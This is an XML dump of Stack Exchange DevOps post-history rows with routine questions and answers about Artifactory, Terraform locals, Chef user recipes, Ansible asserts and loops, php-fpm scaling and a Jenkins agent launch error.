  <row Id="9645" PostHistoryTypeId="5" PostId="1550" RevisionGUID="1e444c60-e0c5-483a-8b88-be09f05b9565" CreationDate="2018-01-12T16:29:14.043" UserId="40" Comment="added 3 characters in body" Text="[JFrog Artifactory][1] and [JFrog Bintray][2] both manage binaries (and any other file type you can think of). I'd like to see them as two different parts of your CI/CD pipeline.&#xD;&#xA;&#xD;&#xA;**Artifactory** is mostly meant to be used inside the organization. For managing all binaries coming in as dependencies (like maven central jars) and being produced by your build process (like your `pack.rpm` or `org/pack-docker` docker image). These can later be used by others in the org or released to **Bintray**.&#xD;&#xA;&#xD;&#xA;**Bintray** is meant to provide a universal distribution platform for your end deliverables. For example, the `pack.rpm` you want to be available for your customers to download. And also that `org/pack-docker` docker image.&#xD;&#xA;&#xD;&#xA;Look into the features lists of each and see how they differ in order to best match their intended role.  &#xD;&#xA;&#xD;&#xA; - [Artifactory features][3]&#xD;&#xA; - [Bintray features][4] &#xD;&#xA;&#xD;&#xA;I hope this helps explaining the differences.&#xD;&#xA;&#xD;&#xA;**Disclosure**: I work at JFrog&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jfrog.com/artifactory/&#xD;&#xA;  [2]: https://www.jfrog.com/bintray/&#xD;&#xA;  [3]: https://www.jfrog.com/artifactory/features/&#xD;&#xA;  [4]: https://jfrog.com/bintray/features/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9646" PostHistoryTypeId="2" PostId="3074" RevisionGUID="4dfb3e96-5ec5-472e-b80b-45ecab68eb0a" CreationDate="2018-01-12T17:41:24.810" UserId="2463" Text="Variables are static, literal inputs to your configuration that come from either the command line or from `tfvars` files. It is not possible to use interpolations here, since the variable values are processed before interpolation begins in order to make them available to other expressions.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If the goal is to define the S3 bucket name in one place and re-use it several times in the same configuration, the _[Local Values](https://www.terraform.io/docs/configuration/locals.html)_ feature can do this if you are using Terraform v0.10.4 or newer. You can declare the named value in one of your `.tf` files:&#xD;&#xA;&#xD;&#xA;    locals {&#xD;&#xA;      s3_bucket_name = &quot;tf-${terraform.workspace}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You can then interpolate this value in various places in your configuration using the name `local.s3_bucket_name`, like this:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_s3_bucket&quot; &quot;s3&quot; {&#xD;&#xA;      bucket = &quot;${local.s3_bucket_name}&quot;&#xD;&#xA;      ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Local values are conceptually similar to [module outputs](https://www.terraform.io/docs/configuration/outputs.html) but they are exposed within the same module they are defined in, rather than passing a value up to the parent module.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If the goal is to allow this generated default name to be overriden optionally by a variable, then that can be achieved with some conditional logic:&#xD;&#xA;&#xD;&#xA;    variable &quot;override_s3_bucket_name&quot; {&#xD;&#xA;      default = &quot;&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    locals {&#xD;&#xA;      s3_bucket_name = &quot;${var.override_s3_bucket_name != &quot;&quot; ? var.override_s3_bucket_name : &quot;tf-${terraform.workspace}&quot;}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_s3_bucket&quot; &quot;s3&quot; {&#xD;&#xA;      bucket = &quot;${local.s3_bucket_name}&quot;&#xD;&#xA;      ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The above will generate a default name based on the selected workspace if `override_s3_bucket_name` is not set, but if that variable is set then its value will be used instead.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9647" PostHistoryTypeId="5" PostId="3062" RevisionGUID="7be909f6-f311-4169-bb99-0a43e5860eaf" CreationDate="2018-01-12T20:29:39.300" UserId="6032" Comment="deleted 1 character in body" Text="You could do a vulnerability scan with AWS Inspector and look for CVE vulnerabilities. Inspector has a CloudWatch metric to cause an action when there are findings. Would be tricky to determine WHICH packages need to be updated, but you could just update everything.  You don’t have to use Inspector, any vulnerability scanning tool you can hook into would work. Vulnerability scanning is a best practice in general. &#xD;&#xA;&#xD;&#xA;Another idea would be to setup a cron job that does apt-get update &amp;&amp; apt-get upgrade —dry-run &gt; stuff-that-should-be-updated.txt and parse the text file for a list of packages to be updated and feed that back into your build process. " ContentLicense="CC BY-SA 3.0" />
  <row Id="9648" PostHistoryTypeId="2" PostId="3075" RevisionGUID="34f23219-bc74-4253-8b9e-9f2eb311a3b1" CreationDate="2018-01-12T23:11:41.457" UserId="6069" Text="I've spun many boxes in the cloud before, but was growing tired of going through the same dance; and as I'm trying to get familiar with Chef, I figured, that's a good use case to do a little learning.&#xD;&#xA;&#xD;&#xA;Ah, that feeling when you think you know how it'll work - but it doesn't. Since I'm new to Chef, I suspect I'm not doing something right in this recipe, which is like my 2nd ever. NOTE: I understand there probably are 'cookbooks' out there that do something like that, but at this point I'm trying to build some ver basic knowledge with the simplest approach.&#xD;&#xA;&#xD;&#xA;user 'foox' do&#xD;&#xA;  comment 'test me'&#xD;&#xA;  uid '6711'&#xD;&#xA;  home '/home/foox'&#xD;&#xA;  shell '/bin/bash'&#xD;&#xA;  password '&lt;shadow&gt;'&#xD;&#xA;end&#xD;&#xA;&#xD;&#xA;directory &quot;/home/foox&quot; do&#xD;&#xA;  owner &quot;foox&quot;&#xD;&#xA;  group &quot;foox&quot;&#xD;&#xA;  mode 00755&#xD;&#xA;  action :create&#xD;&#xA;end&#xD;&#xA;&#xD;&#xA;directory &quot;/home/foox/.ssh&quot; do&#xD;&#xA;  owner &quot;foox&quot;&#xD;&#xA;  group &quot;foox&quot;&#xD;&#xA;  mode 00600&#xD;&#xA;  action :create&#xD;&#xA;end&#xD;&#xA;&#xD;&#xA;file '/home/foox/.ssh/authorized_keys' do&#xD;&#xA;  owner &quot;foox&quot;&#xD;&#xA;  group &quot;foox&quot;&#xD;&#xA;  mode &quot;00600&quot;&#xD;&#xA;  content IO.read('/root/.ssh/authorized_keys')&#xD;&#xA;  action :create&#xD;&#xA;end&#xD;&#xA;&#xD;&#xA;Now, this does create the user with a password and home folder with .ssh, and copies the public key from root's own file.. but this system end up failing to let me log in, using the same private key as what I have as my root's. I guess there's something else missing?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9649" PostHistoryTypeId="1" PostId="3075" RevisionGUID="34f23219-bc74-4253-8b9e-9f2eb311a3b1" CreationDate="2018-01-12T23:11:41.457" UserId="6069" Text="what's missing from this simple recipe that creates a user?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9650" PostHistoryTypeId="3" PostId="3075" RevisionGUID="34f23219-bc74-4253-8b9e-9f2eb311a3b1" CreationDate="2018-01-12T23:11:41.457" UserId="6069" Text="&lt;chef&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9651" PostHistoryTypeId="5" PostId="3075" RevisionGUID="decd6001-0305-41e1-9218-b8a7dc74cba9" CreationDate="2018-01-12T23:20:09.427" UserId="6069" Comment="added 118 characters in body" Text="I've spun many boxes in the cloud before, but was growing tired of going through the same dance; and as I'm trying to get familiar with Chef, I figured, that's a good use case to do a little learning.&#xD;&#xA;&#xD;&#xA;Ah, that feeling when you think you know how it'll work - but it doesn't. Since I'm new to Chef, I suspect I'm not doing something right in this recipe, which is like my 2nd ever. NOTE: I understand there probably are 'cookbooks' out there that do something like that, but at this point I'm trying to build some ver basic knowledge with the simplest approach.&#xD;&#xA;&#xD;&#xA;    user 'foox' do&#xD;&#xA;      comment 'test me'&#xD;&#xA;      uid '6711'&#xD;&#xA;      home '/home/foox'&#xD;&#xA;      shell '/bin/bash'&#xD;&#xA;      password '&lt;password_shadow_here&gt;'&#xD;&#xA;    end&#xD;&#xA;    &#xD;&#xA;    directory &quot;/home/foox&quot; do&#xD;&#xA;      owner &quot;foox&quot;&#xD;&#xA;      group &quot;foox&quot;&#xD;&#xA;      mode 00755&#xD;&#xA;      action :create&#xD;&#xA;    end&#xD;&#xA;    &#xD;&#xA;    directory &quot;/home/foox/.ssh&quot; do&#xD;&#xA;      owner &quot;foox&quot;&#xD;&#xA;      group &quot;foox&quot;&#xD;&#xA;      mode 00600&#xD;&#xA;      action :create&#xD;&#xA;    end&#xD;&#xA;    &#xD;&#xA;    file '/home/foox/.ssh/authorized_keys' do&#xD;&#xA;      owner &quot;foox&quot;&#xD;&#xA;      group &quot;foox&quot;&#xD;&#xA;      mode &quot;00600&quot;&#xD;&#xA;      content IO.read('/root/.ssh/authorized_keys')&#xD;&#xA;      action :create&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;Now, this does create the user with a password and home folder with .ssh, and copies the public key from root's own file.. but this system end up failing to let me log in, using the same private key as what I have as my root's. I guess there's something else missing?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9652" PostHistoryTypeId="5" PostId="3075" RevisionGUID="b5233ebe-0e01-4507-8104-efc5f6668840" CreationDate="2018-01-12T23:43:35.637" UserId="6069" Comment="added 162 characters in body" Text="I've spun many boxes in the cloud before, but was growing tired of going through the same dance; and as I'm trying to get familiar with Chef, I figured, that's a good use case to do a little learning.&#xD;&#xA;&#xD;&#xA;Ah, that feeling when you think you know how it'll work - but it doesn't. Since I'm new to Chef, I suspect I'm not doing something right in this recipe, which is like my 2nd ever. NOTE: I understand there probably are 'cookbooks' out there that do something like that, but at this point I'm trying to build some ver basic knowledge with the simplest approach.&#xD;&#xA;&#xD;&#xA;    user 'foox' do&#xD;&#xA;      comment 'test me'&#xD;&#xA;      uid '6711'&#xD;&#xA;      home '/home/foox'&#xD;&#xA;      shell '/bin/bash'&#xD;&#xA;      password '&lt;password_shadow_here&gt;'&#xD;&#xA;    end&#xD;&#xA;    &#xD;&#xA;    directory &quot;/home/foox&quot; do&#xD;&#xA;      owner &quot;foox&quot;&#xD;&#xA;      group &quot;foox&quot;&#xD;&#xA;      mode 00755&#xD;&#xA;      action :create&#xD;&#xA;    end&#xD;&#xA;    &#xD;&#xA;    directory &quot;/home/foox/.ssh&quot; do&#xD;&#xA;      owner &quot;foox&quot;&#xD;&#xA;      group &quot;foox&quot;&#xD;&#xA;      mode 00600&#xD;&#xA;      action :create&#xD;&#xA;    end&#xD;&#xA;    &#xD;&#xA;    file '/home/foox/.ssh/authorized_keys' do&#xD;&#xA;      owner &quot;foox&quot;&#xD;&#xA;      group &quot;foox&quot;&#xD;&#xA;      mode &quot;00600&quot;&#xD;&#xA;      content IO.read('/root/.ssh/authorized_keys')&#xD;&#xA;      action :create&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;Now, this does create the user with a password and home folder with .ssh, and copies the public key from root's own file.. but this system end up failing to let me log in -- Permission denied (publickey) -- when using the same private key as what I have as my root's.. but, well, root user wasn't created by my recipe. And if I create my own user manually, it's working fine. I guess there's something missing in my recipe, then?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9657" PostHistoryTypeId="5" PostId="3070" RevisionGUID="63daeaac-3ba7-4b47-8fd3-4f9c171a2132" CreationDate="2018-01-13T08:06:26.750" UserId="561" Comment="Edited for better SEO." Text="What is the basic difference between software release and deploy? What is the relation between software release management and continuous deployment?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9658" PostHistoryTypeId="4" PostId="3070" RevisionGUID="63daeaac-3ba7-4b47-8fd3-4f9c171a2132" CreationDate="2018-01-13T08:06:26.750" UserId="561" Comment="Edited for better SEO." Text="What is difference between release and deployment?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9659" PostHistoryTypeId="24" PostId="3070" RevisionGUID="63daeaac-3ba7-4b47-8fd3-4f9c171a2132" CreationDate="2018-01-13T08:06:26.750" Comment="Proposed by 561 approved by 40, 707 edit id of 587" ContentLicense="CC BY-SA 3.0" />
  <row Id="9660" PostHistoryTypeId="2" PostId="3076" RevisionGUID="d4e0aad8-3ec1-446a-8fad-c3266b9066fc" CreationDate="2018-01-13T11:33:12.073" UserId="2728" Text="I can't comment so I'll put it in as an answer although I'm not 100% sure. I think that you got the permissions wrong on `~/.ssh` and it should be `0700` instead of `0600`, otherwise the user cannot access it.&#xD;&#xA;&#xD;&#xA;Another tip which is unrelated to your problem, the `user` resource has a property `manage_home` (https://docs.chef.io/resource_user.html#properties) which will create the home directory for you and will you save a redundant resource." ContentLicense="CC BY-SA 3.0" />
  <row Id="9661" PostHistoryTypeId="50" PostId="2891" RevisionGUID="8606299a-2507-45e3-9db8-44ec95d1c3bb" CreationDate="2018-01-13T13:15:49.307" UserId="-1" />
  <row Id="9662" PostHistoryTypeId="50" PostId="1768" RevisionGUID="6be2e985-74f2-4fe4-90ff-62599b7e5cfd" CreationDate="2018-01-13T14:15:52.010" UserId="-1" />
  <row Id="9663" PostHistoryTypeId="50" PostId="1508" RevisionGUID="6885cf5e-9559-410d-98e8-70820033c989" CreationDate="2018-01-13T15:15:50.967" UserId="-1" />
  <row Id="9664" PostHistoryTypeId="5" PostId="3008" RevisionGUID="a82feebe-38b6-434c-a304-39b36e5905c4" CreationDate="2018-01-13T16:33:39.330" UserId="561" Comment="Improved formatting." Text="Either use the `--query` attribute&#xD;&#xA;&#xD;&#xA;    aws rds describe-db-snapshots --query &quot;DBSnapshots[?Encrypted].DBSnapshotIdentifier&quot;&#xD;&#xA;&#xD;&#xA;If the `[?Encrypted]` does not work, try `[?Encrypted == 'true']` as the first is from JMESPath improved filters. The quotes might need to be backticks in some case. It all depends.&#xD;&#xA;&#xD;&#xA;Second way:&#xD;&#xA;&#xD;&#xA;    aws rds describe-db-snapshots --output json | jq '.DBSnapshots | map(select(has(&quot;Encrypted&quot;))) | .[].DBSnapshotIndetifier'&#xD;&#xA;&#xD;&#xA;One of them should work. Might need a bit messing around as I don't have your output to tune the `jq` command. Feel free to edit and fix the answer." ContentLicense="CC BY-SA 3.0" />
  <row Id="9665" PostHistoryTypeId="24" PostId="3008" RevisionGUID="a82feebe-38b6-434c-a304-39b36e5905c4" CreationDate="2018-01-13T16:33:39.330" Comment="Proposed by 561 approved by 40, 960 edit id of 588" ContentLicense="CC BY-SA 3.0" />
  <row Id="9666" PostHistoryTypeId="2" PostId="3077" RevisionGUID="a0b061ae-e38e-4bd0-b6d9-a3818c39b0c8" CreationDate="2018-01-13T17:02:01.197" UserId="960" Text="As mentioned in the question and the comments on it, this isn't an area in which Ansible excels.  The &quot;best&quot; solution depends a bit on the type of file you're dealing with, and the structure of it.&#xD;&#xA;&#xD;&#xA;The cleanest way to deal with these sorts of changes in Ansible is to [templatize](https://docs.ansible.com/ansible/latest/template_module.html) the entire thing; this allows you to see the entire file at once, rather than piecing it together through many places, and is much less fragile than pattern- or line-based approaches.  When you need to add configuration in multiple places (for instance, different roles), that's when dynamic-loading directives become very useful, like Apache httpd's `Include`:&#xD;&#xA;&#xD;&#xA;    Include /etc/httpd/conf.d/*.conf&#xD;&#xA;&#xD;&#xA;This then allows you to write individual configuration files from different places, and let the client software concatenate them.  However, as far as I can tell from a quick search, Tomcat doesn't support this, so you would need to operate with a single template file.&#xD;&#xA;&#xD;&#xA;`lineinfile` is a hacky solution that's very fragile, and `template` is almost always a better option.  However, in this case, the node that you're adding is a self-closing one, so as long as it is top-level, it can go anywhere and `lineinfile` will work (I know you say it won't, but I'll get back to that).  `xml` is a similar option that's a bit less fragile.&#xD;&#xA;&#xD;&#xA;Those two you've ruled out because they can't delete the comment you have in the file.  However, I'll argue that that's an improper requirement (in most cases, and probably yours).&#xD;&#xA;&#xD;&#xA;When using a configuration management tool, the source of truth shifts from the files themselves on servers to the configuration that's checked in to master.  If someone wants to edit the file, they'll do so by editing the configuration management scripts, not by editing the file directly on the server.  Therefore, there is no need for comments in the resultant file that lives on the server, except perhaps one at the top that says &quot;this is auto-generated, go look at source control instead&quot;.  The comment should be *in your templating code* - and as long as the result compiles and works correctly, you shouldn't care at all what it looks like." ContentLicense="CC BY-SA 3.0" />
  <row Id="9667" PostHistoryTypeId="6" PostId="3070" RevisionGUID="b47590b8-3d0c-4171-9231-89ef6053d77b" CreationDate="2018-01-13T17:02:29.367" UserId="960" Comment="+terminology" Text="&lt;terminology&gt;&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;release-management&gt;&lt;release&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9668" PostHistoryTypeId="4" PostId="3052" RevisionGUID="3a40bf5c-ae08-4873-9303-a556df59cdd1" CreationDate="2018-01-13T17:04:56.120" UserId="960" Comment="change the title to more accurately represent the question" Text="How should we automatically rebuild immutable infrastructure when new packages are available?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9669" PostHistoryTypeId="50" PostId="2901" RevisionGUID="2d623bf3-3dd5-4b35-9d4b-94b0153645d5" CreationDate="2018-01-13T17:17:26.960" UserId="-1" />
  <row Id="9670" PostHistoryTypeId="2" PostId="3078" RevisionGUID="72c42ddd-bb6c-462f-b689-e2e4f91062d6" CreationDate="2018-01-13T17:41:12.197" UserId="960" Text="If an extra variable is truly required, you can add [`assert`](https://docs.ansible.com/ansible/latest/assert_module.html) statements at the top of the role to stop it from executing if they're not defined:&#xD;&#xA;&#xD;&#xA;    ┌─[jamesph@geror] - [~/temp] - [Sat Jan 13, 09:40]&#xD;&#xA;    └─[$]&gt; cat assert.yml&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      vars:&#xD;&#xA;        foo: False&#xD;&#xA;      tasks:&#xD;&#xA;        - assert:&#xD;&#xA;            that:&#xD;&#xA;              - &quot;foo is defined&quot;&#xD;&#xA;              - &quot;bar is defined&quot;&#xD;&#xA;    ┌─[jamesph@geror] - [~/temp] - [Sat Jan 13, 09:40]&#xD;&#xA;    └─[$]&gt; ansible-playbook assert.yml&#xD;&#xA;     [WARNING]: Unable to parse /etc/ansible/hosts as an inventory source&#xD;&#xA;    &#xD;&#xA;     [WARNING]: No inventory was parsed, only implicit localhost is available&#xD;&#xA;    &#xD;&#xA;     [WARNING]: Could not match supplied host pattern, ignoring: all&#xD;&#xA;    &#xD;&#xA;     [WARNING]: provided hosts list is empty, only localhost is available&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    PLAY [localhost] *************************************************************************************&#xD;&#xA;    &#xD;&#xA;    TASK [Gathering Facts] *******************************************************************************&#xD;&#xA;    ok: [localhost]&#xD;&#xA;    &#xD;&#xA;    TASK [assert] ****************************************************************************************&#xD;&#xA;    fatal: [localhost]: FAILED! =&gt; {&#xD;&#xA;        &quot;assertion&quot;: &quot;bar is defined&quot;,&#xD;&#xA;        &quot;changed&quot;: false,&#xD;&#xA;        &quot;evaluated_to&quot;: false&#xD;&#xA;    }&#xD;&#xA;    	to retry, use: --limit @/Users/jamesph/temp/assert.retry&#xD;&#xA;    &#xD;&#xA;    PLAY RECAP *******************************************************************************************&#xD;&#xA;    localhost                  : ok=1    changed=0    unreachable=0    failed=1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9671" PostHistoryTypeId="2" PostId="3079" RevisionGUID="12bd91d7-95bd-4c4a-ac92-48c5ff5ba385" CreationDate="2018-01-13T18:11:57.770" UserId="960" Text="Konstantin gave a good answer; here is an additional flavor on it.&#xD;&#xA;    &#xD;&#xA;I will commonly define the lists as variables, and just write two separate loops over the same variable:&#xD;&#xA;    &#xD;&#xA;    ┌─[jamesph@geror] - [~/temp] - [Sat Jan 13, 10:06]&#xD;&#xA;    └─[$]&gt; cat loops-1.yml&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      gather_facts: no&#xD;&#xA;      vars:&#xD;&#xA;        menu:&#xD;&#xA;          - Egg and Spam&#xD;&#xA;          - Spam, bacon, sausage and Spam&#xD;&#xA;          - Spam, Spam, Spam, Spam, Spam, Spam, baked beans, Spam, Spam, Spam and Spam&#xD;&#xA;      tasks:&#xD;&#xA;        - debug:&#xD;&#xA;            msg: &quot;We have {{ item }}&quot;&#xD;&#xA;          with_items: &quot;{{ menu }}&quot;&#xD;&#xA;        - debug:&#xD;&#xA;            msg: &quot;I love {{ item }}!&quot;&#xD;&#xA;          with_items: &quot;{{ menu }}&quot;&#xD;&#xA;    ┌─[jamesph@geror] - [~/temp] - [Sat Jan 13, 10:06]&#xD;&#xA;    └─[$]&gt; ansible-playbook loops-1.yml&#xD;&#xA;     [WARNING]: Unable to parse /etc/ansible/hosts as an inventory source&#xD;&#xA;    &#xD;&#xA;     [WARNING]: No inventory was parsed, only implicit localhost is available&#xD;&#xA;    &#xD;&#xA;     [WARNING]: Could not match supplied host pattern, ignoring: all&#xD;&#xA;    &#xD;&#xA;     [WARNING]: provided hosts list is empty, only localhost is available&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    PLAY [localhost] **********************************************************************************************************************&#xD;&#xA;    &#xD;&#xA;    TASK [debug] **************************************************************************************************************************&#xD;&#xA;    ok: [localhost] =&gt; (item=Egg and Spam) =&gt; {&#xD;&#xA;        &quot;changed&quot;: false,&#xD;&#xA;        &quot;item&quot;: &quot;Egg and Spam&quot;,&#xD;&#xA;        &quot;msg&quot;: &quot;We have Egg and Spam&quot;&#xD;&#xA;    }&#xD;&#xA;    ok: [localhost] =&gt; (item=Spam, bacon, sausage and Spam) =&gt; {&#xD;&#xA;        &quot;changed&quot;: false,&#xD;&#xA;        &quot;item&quot;: &quot;Spam, bacon, sausage and Spam&quot;,&#xD;&#xA;        &quot;msg&quot;: &quot;We have Spam, bacon, sausage and Spam&quot;&#xD;&#xA;    }&#xD;&#xA;    ok: [localhost] =&gt; (item=Spam, Spam, Spam, Spam, Spam, Spam, baked beans, Spam, Spam, Spam and Spam) =&gt; {&#xD;&#xA;        &quot;changed&quot;: false,&#xD;&#xA;        &quot;item&quot;: &quot;Spam, Spam, Spam, Spam, Spam, Spam, baked beans, Spam, Spam, Spam and Spam&quot;,&#xD;&#xA;        &quot;msg&quot;: &quot;We have Spam, Spam, Spam, Spam, Spam, Spam, baked beans, Spam, Spam, Spam and Spam&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    TASK [debug] **************************************************************************************************************************&#xD;&#xA;    ok: [localhost] =&gt; (item=Egg and Spam) =&gt; {&#xD;&#xA;        &quot;changed&quot;: false,&#xD;&#xA;        &quot;item&quot;: &quot;Egg and Spam&quot;,&#xD;&#xA;        &quot;msg&quot;: &quot;I love Egg and Spam!&quot;&#xD;&#xA;    }&#xD;&#xA;    ok: [localhost] =&gt; (item=Spam, bacon, sausage and Spam) =&gt; {&#xD;&#xA;        &quot;changed&quot;: false,&#xD;&#xA;        &quot;item&quot;: &quot;Spam, bacon, sausage and Spam&quot;,&#xD;&#xA;        &quot;msg&quot;: &quot;I love Spam, bacon, sausage and Spam!&quot;&#xD;&#xA;    }&#xD;&#xA;    ok: [localhost] =&gt; (item=Spam, Spam, Spam, Spam, Spam, Spam, baked beans, Spam, Spam, Spam and Spam) =&gt; {&#xD;&#xA;        &quot;changed&quot;: false,&#xD;&#xA;        &quot;item&quot;: &quot;Spam, Spam, Spam, Spam, Spam, Spam, baked beans, Spam, Spam, Spam and Spam&quot;,&#xD;&#xA;        &quot;msg&quot;: &quot;I love Spam, Spam, Spam, Spam, Spam, Spam, baked beans, Spam, Spam, Spam and Spam!&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    PLAY RECAP ****************************************************************************************************************************&#xD;&#xA;    localhost                  : ok=2    changed=0    unreachable=0    failed=0&#xD;&#xA;&#xD;&#xA;This works nicely with [variable precedence](https://docs.ansible.com/ansible/latest/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable), for instance by defining different sets of servers per environment.  It also works when you need to perform various other non-looped tasks in-between the two loops." ContentLicense="CC BY-SA 3.0" />
  <row Id="9677" PostHistoryTypeId="50" PostId="1654" RevisionGUID="36f13ea6-7042-41cc-b650-7a2561a9cabd" CreationDate="2018-01-13T23:22:29.297" UserId="-1" />
  <row Id="9679" PostHistoryTypeId="4" PostId="1500" RevisionGUID="70bc41f5-f47b-4848-b3e9-b11900336a30" CreationDate="2018-01-14T10:25:31.457" UserId="40" Comment="improve title" Text="What exactly is the cloud term 'a Firehose'?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9680" PostHistoryTypeId="2" PostId="3080" RevisionGUID="68467c81-d830-4ac6-944f-90cb0299e3ed" CreationDate="2018-01-15T02:23:43.863" UserId="6082" Text="Actually, one missing point here is the horizontal scalability. There's an article from Jamie Alquiza long time ago addressed this:&#xD;&#xA;&#xD;&#xA;http://archive.is/pDzz0&#xD;&#xA;&#xD;&#xA;In short, you scale your php-fpm horizontally for reaching higher performance. Scaling Nginx+php-fpm together does not bring you any benefit. I encourage you do some stress testing (e.g. Tsung, Gatling, etc.; please don't do Apache ab, that is a very old toy) to verify what the article stated. I personally have several real world experiences proved the article is true in general.&#xD;&#xA;&#xD;&#xA;But there're two drawback (maybe not for Kubernetes) for bare metal machines / VMs: &#xD;&#xA;&#xD;&#xA;1. How to configure Nginx dynamically discover php-fpm container changes? This is the easy part.&#xD;&#xA;2. How do we share the same volume / file systems after scaling? Nginx and php-fpm containers should read exact the same content to reach consistency. This leaves you the least puzzle part (and most fun part) to work on." ContentLicense="CC BY-SA 3.0" />
  <row Id="9681" PostHistoryTypeId="5" PostId="3080" RevisionGUID="1b1919f3-807b-4bd4-b202-f7eeb3165467" CreationDate="2018-01-15T02:33:18.417" UserId="6082" Comment="added 9 characters in body" Text="Actually, one missing point here is the horizontal scalability. There's an article from Jamie Alquiza long time ago addressed this:&#xD;&#xA;&#xD;&#xA;http://archive.is/pDzz0&#xD;&#xA;&#xD;&#xA;In short, you scale your php-fpm horizontally for reaching higher performance. Scaling Nginx+php-fpm together does not bring you any benefit. I encourage you do some stress testing (e.g. Tsung, Gatling, etc.; please don't do Apache ab, that is a very old toy) yourself to verify what the article stated. I personally have several real world experiences proved the article is true in general.&#xD;&#xA;&#xD;&#xA;But there're two drawback (maybe not for Kubernetes) for bare metal machines / VMs: &#xD;&#xA;&#xD;&#xA;1. How to configure Nginx dynamically discover php-fpm container changes? This is the easy part.&#xD;&#xA;2. How do we share the same volume / file systems after scaling? Nginx and php-fpm containers should read exact the same content to reach consistency. This leaves you the least puzzle part (and most fun part) to work on." ContentLicense="CC BY-SA 3.0" />
  <row Id="9682" PostHistoryTypeId="50" PostId="1130" RevisionGUID="f8626019-131f-436f-90e7-e702d0f0463a" CreationDate="2018-01-15T02:45:39.847" UserId="-1" />
  <row Id="9683" PostHistoryTypeId="2" PostId="3081" RevisionGUID="ba53e792-beab-4390-a0a4-0d2c4b9e3ee0" CreationDate="2018-01-15T03:50:57.830" UserId="5859" Text="I want to have a Windows Server 2016 slave node with a Jenkins server that runs on Linux.  I have Jenkins installed on a Red Hat server.  I am trying to install the slave-agent.jnlp file from the Jenkins web UI on the Windows server.  I run this command for PowerShell opened as administrator:&#xD;&#xA;&#xD;&#xA;    javaws -verbose C:\Users\Administrator\Downloads\slave-agent.jnlp&#xD;&#xA;&#xD;&#xA;I receive this error: &#xD;&#xA;&#xD;&#xA;    Error: The field &lt;jnlp&gt;&lt;application-desc&gt;&lt;argument&gt; has an invalid value:&#xD;&#xA;    &#xD;&#xA;    Launch File&#xD;&#xA;    &#xD;&#xA;    &lt;jnlp codebase=&quot;http://FQDNofJenkinsServer:8080/computer/FQDNofWindowsSlave/&quot; spec=&quot;1.0+&quot;&gt;&lt;information&gt;&lt;title&gt;Agent for FQDNofWindowsSlave&lt;/title&gt;&lt;vendor&gt;Jenkins project&lt;/vendor&gt;&lt;homepage href=&quot;https://jenkins-ci.org/&quot;/&gt;&lt;/information&gt;&lt;security&gt;&lt;all-permissions/&gt;&lt;/security&gt;&lt;resources&gt;&lt;j2se version=&quot;1.8+&quot;/&gt;&lt;jar href=&quot;http://FQDNofJenkinsServer:8080/jnlpJars/remoting.jar&quot;/&gt;&lt;/resources&gt;&lt;application-desc main-class=&quot;hudson.remoting.jnlp.Main&quot;&gt;&lt;argument&gt;32ba31ca5f150c2b3491802b0b60e56574d970a9e601cebad656a113fe325a85&lt;/argument&gt;&lt;argument&gt;FQDNofWindowsSlave&lt;/argument&gt;&lt;argument&gt;-workDir&lt;/argument&gt;&lt;argument/&gt;&lt;argument&gt;-internalDir&lt;/argument&gt;&lt;argument/&gt;&lt;argument&gt;-url&lt;/argument&gt;&lt;argument&gt;http://FQDNofJenkinsServer:8080/&lt;/argument&gt;&lt;/application-desc&gt;&lt;/jnlp&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Exception&#xD;&#xA;    &#xD;&#xA;    BadFieldException[ The field &lt;jnlp&gt;&lt;application-desc&gt;&lt;argument&gt; has an invalid value: ,]&#xD;&#xA;    	at com.sun.javaws.jnl.XMLFormat$10.visitElement(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.jnl.XMLUtils.visitElements(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.jnl.XMLFormat.buildApplicationDesc(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.jnl.XMLFormat.process(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.jnl.XMLFormat.parse(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.jnl.LaunchDescFactory.buildDescriptor(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.jnl.LaunchDescFactory.buildDescriptor(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.Main.launchApp(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.Main.continueInSecureThread(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.Main.access$000(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.Main$1.run(Unknown Source)&#xD;&#xA;    	at java.lang.Thread.run(Unknown Source)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I expect the command to work.  I do not understand the error message.  What should I do?" 